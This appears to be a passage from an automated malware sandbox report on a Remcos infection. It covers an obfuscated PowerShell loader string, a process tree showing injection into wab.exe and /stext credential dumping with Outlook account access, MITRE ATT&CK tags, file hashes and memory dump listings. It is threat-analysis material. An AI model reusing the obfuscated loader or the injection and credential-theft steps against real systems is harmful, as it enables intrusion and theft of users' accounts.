Meddel$Erig.reMOxy,ydrhUn,aunteDenouncdOrdaineeC,assinrAf.rogosBrik vn)Hjemkal ');Skillingsviser (Beseglingens 'Basswoo$Ouncenmg Rightal P,otogoGaentopbKursuslaThrashelBrydeka:HyalinoHphasc,ljCompilaeBrevsprmUdtageltVirksoma Anthobg WhitineA.suransExoergi=,rhverv$DebatsiMAssembloKat,gori .erititA.lader.klistrisPerspekuSupe.fobG nansksTranspltDesarm r,lareboiSvindlenTnkeresgCu,culi( Abscou$HoraehaP SubtralBr,llefaLiteralnUnginnel Utrneta Geussue iltregMi,iatun ComproiOverprunMicrocogskaldyrsVisanon,Kal nde$ AnatheS Jacob,k CreaghiBas illp .icyclpidioleceUnmutatrUnionissballismk imnolorToldkonaCommunaaJerninde ArustlnsubstvesBebroth)Cot,urn ');Skillingsviser $Hjemtages;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sydhavets.Neu && echo t"
      4⤵
      PID:2916
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1136
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bzudjadtmldiaiknkippyqfllm"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2812
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mthoktouitvncogrtsbjbvacubaim"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4308
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ovmgllzovbnsncvvcdwklivldhsrfonpk"
        5⤵
        
        PID:1732
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ovmgllzovbnsncvvcdwklivldhsrfonpk"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4092

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3872,i,5095735526234624271,6356691058050835509,262144 --variations-seed-version --mojo-platform-channel-handle=3808 /prefetch:8
1⤵
PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 ff00b84c75b4a4f3e5d354c5a9d4534f8dcc9e253a93424cb12d8e968a61ce50
MD5 6f5341d2fb11044308f6872151113a7f
SHA1 fd23efe96d8b468860af97feb97077c7d17eb722
SHA512 34671f99636963e47fa799e6b6cb8ae31aacfe3056104d138e617a9d1c7a9a6eae2ba53267e0577821b136e47fd6b16dc64abbf3bad773095629596441f4ccc5
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_eo3bvqrx.fon.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eo3bvqrx.fon.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

bzudjadtmldiaiknkippyqfllm

Path C:\Users\Admin\AppData\Local\Temp\bzudjadtmldiaiknkippyqfllm
Size 4KB
SHA256 0c38ee44dc9eb4f240b667240c115fed88091bc04001d909b841ad8570738467
MD5 be3be306ce816aa6030d9bfec1df34b0
SHA1 66b10c4578245de0f78c445119e67f0bfb84bbf3
SHA512 b9aee88755e6e239c7aa1d3c39488722786c1faa01de3c70cf822059f461ca277965b8dd50773e015444a83cc69b5f31c6379957de54a5073ef8799b26a12bcc
SSDEEP 48:wvvv0lxfvvclxfdvv0lxBvv0lxakvv0l7:mvUxvcp1vUPvUbvU7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Sydhavets.Neu

Path C:\Users\Admin\AppData\Roaming\Sydhavets.Neu
Size 452KB
SHA256 cd915b6d1b905eb20107a5f7ed3f6b7e7956806b8a21d1e21d53d4c1e9466ef1
MD5 c3d738ca0f6a9a3ad9aca1836502a730
SHA1 20cd09b729f88b769e9deb537c71dee835cb1335
SHA512 7bb74d43706381a2359d6460c47d10bdd676c516faddbfe25c10f93a3920603b9d96443645e12a535621fc46185844063b45b88532e33e3aa94393fd514c4241
SSDEEP 12288:W4kV6JeWD26gdS5IgNutckLTvILNPAQlI:DkUJqhvuVI
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1136-86-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-104-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-98-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-95-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-92-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-89-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-44-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-101-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-83-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-80-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-77-0x0000000020140000-0x0000000020159000-memory.dmp

Download

memory/1136-78-0x0000000020140000-0x0000000020159000-memory.dmp

Download

memory/1136-74-0x0000000020140000-0x0000000020159000-memory.dmp

Download

memory/1136-107-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-110-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1136-51-0x0000000000D40000-0x0000000001F94000-memory.dmp

Download

memory/1636-50-0x00007FFA861B0000-0x00007FFA86C71000-memory.dmp

Download

memory/1636-42-0x00007FFA861B3000-0x00007FFA861B5000-memory.dmp

Download

memory/1636-41-0x00007FFA861B0000-0x00007FFA86C71000-memory.dmp

Download

memory/1636-2-0x00007FFA861B3000-0x00007FFA861B5000-memory.dmp

Download

memory/1636-3-0x0000024526F40000-0x0000024526F62000-memory.dmp

Download

memory/1636-13-0x00007FFA861B0000-0x00007FFA86C71000-memory.dmp

Download

memory/1636-14-0x00007FFA861B0000-0x00007FFA86C71000-memory.dmp

Download

memory/2052-21-0x0000000006270000-0x00000000062D6000-memory.dmp

Download

memory/2052-20-0x0000000006190000-0x00000000061F6000-memory.dmp

Download

memory/2052-40-0x0000000009010000-0x000000000BAB9000-memory.dmp

Download

memory/2052-17-0x00000000053F0000-0x0000000005426000-memory.dmp

Download

memory/2052-18-0x0000000005AC0000-0x00000000060E8000-memory.dmp

Download

memory/2052-19-0x00000000060F0000-0x0000000006112000-memory.dmp

Download

memory/2052-31-0x00000000063A0000-0x00000000066F4000-memory.dmp

Download

memory/2052-38-0x0000000008A60000-0x0000000009004000-memory.dmp

Download

memory/2052-37-0x00000000079E0000-0x0000000007A02000-memory.dmp

Download

memory/2052-36-0x0000000007A50000-0x0000000007AE6000-memory.dmp

Download

memory/2052-35-0x0000000006EA0000-0x0000000006EBA000-memory.dmp

Download

memory/2052-34-0x00000000083E0000-0x0000000008A5A000-memory.dmp

Download

memory/2052-33-0x0000000006F60000-0x0000000006FAC000-memory.dmp

Download

memory/2052-32-0x0000000006990000-0x00000000069AE000-memory.dmp

Download

memory/2812-62-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2812-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2812-54-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4092-57-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4092-59-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4092-60-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4308-56-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4308-55-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4308-61-0x0000000000400000-0x0000000000462000-memory.dmp

Download